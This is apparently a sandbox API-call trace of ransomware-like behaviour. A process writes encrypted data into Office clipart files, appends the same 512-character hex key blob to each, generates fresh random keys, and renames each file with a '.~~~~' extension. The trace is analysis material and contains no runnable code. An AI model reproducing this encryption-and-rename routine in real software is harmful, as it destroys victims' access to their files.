	[0106.983] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.983] GetLastError () returned 0x0
	[0106.983] GetLastError () returned 0x0
	[0106.987] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd4f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.987] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2b0e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x2b0e, lpOverlapped=0x0) returned 1
	[0106.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0106.988] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.988] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.988] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.988] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.988] CloseHandle (hObject=0x144) returned 1
	[0106.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2698
	[0106.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.~~~~")) returned 1
	[0106.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2698 | out: hHeap=0x300000) returned 1
	[0106.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.989] GetLastError () returned 0x0
	[0106.989] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.991] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22698080517) returned 1
	[0106.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9717890, dwHighDateTime=0x1d60e1e)) 
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a62e8
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62e8 | out: hHeap=0x300000) returned 1
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2698
	[0106.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28750b8
	[0106.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2698 | out: hHeap=0x300000) returned 1
	[0106.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.992] GetLastError () returned 0x0
	[0106.992] GetLastError () returned 0x0
	[0106.992] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.992] GetLastError () returned 0x0
	[0106.992] GetLastError () returned 0x0
	[0106.996] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd518, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.996] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2ae8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x2ae8, lpOverlapped=0x0) returned 1
	[0106.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0106.997] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.997] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.998] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.998] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.998] CloseHandle (hObject=0x144) returned 1
	[0106.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.~~~~")) returned 1
	[0107.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.056] GetLastError () returned 0x0
	[0107.056] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.057] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.057] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.057] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22704755348) returned 1
	[0107.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa97d5f70, dwHighDateTime=0x1d60e1e)) 
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a60f0
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60f0 | out: hHeap=0x300000) returned 1
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875150
	[0107.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.058] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.058] GetLastError () returned 0x0
	[0107.059] GetLastError () returned 0x0
	[0107.059] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.059] GetLastError () returned 0x0
	[0107.059] GetLastError () returned 0x0
	[0107.064] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb5f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.064] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4a0e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4a0e, lpOverlapped=0x0) returned 1
	[0107.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.066] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.066] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.066] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.066] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.066] CloseHandle (hObject=0x144) returned 1
	[0107.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.~~~~")) returned 1
	[0107.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.068] GetLastError () returned 0x0
	[0107.069] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.070] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.070] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.070] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22706049297) returned 1
	[0107.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa97d5f70, dwHighDateTime=0x1d60e1e)) 
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6128
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6128 | out: hHeap=0x300000) returned 1
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875448
	[0107.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.071] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.072] GetLastError () returned 0x0
	[0107.072] GetLastError () returned 0x0
	[0107.072] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.072] GetLastError () returned 0x0
	[0107.072] GetLastError () returned 0x0
	[0107.074] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd308, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.075] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2cf8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x2cf8, lpOverlapped=0x0) returned 1
	[0107.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.076] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.076] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.076] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.076] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.077] CloseHandle (hObject=0x144) returned 1
	[0107.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.~~~~")) returned 1
	[0107.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.078] GetLastError () returned 0x0
	[0107.079] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.080] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.080] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.081] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22707076595) returned 1
	[0107.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa97fc0d0, dwHighDateTime=0x1d60e1e)) 
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6160
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0107.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28754e0
	[0107.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.081] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.082] GetLastError () returned 0x0
	[0107.082] GetLastError () returned 0x0
	[0107.082] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.082] GetLastError () returned 0x0
	[0107.082] GetLastError () returned 0x0
	[0107.087] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb072, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.088] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4f8e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4f8e, lpOverlapped=0x0) returned 1
	[0107.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.089] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.089] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.089] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.089] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.090] CloseHandle (hObject=0x144) returned 1
	[0107.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.090] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.~~~~")) returned 1
	[0107.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.091] GetLastError () returned 0x0
	[0107.092] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.093] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.093] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.093] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22708305514) returned 1
	[0107.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9822230, dwHighDateTime=0x1d60e1e)) 
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e0b8
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e0b8 | out: hHeap=0x300000) returned 1
	[0107.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875578
	[0107.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
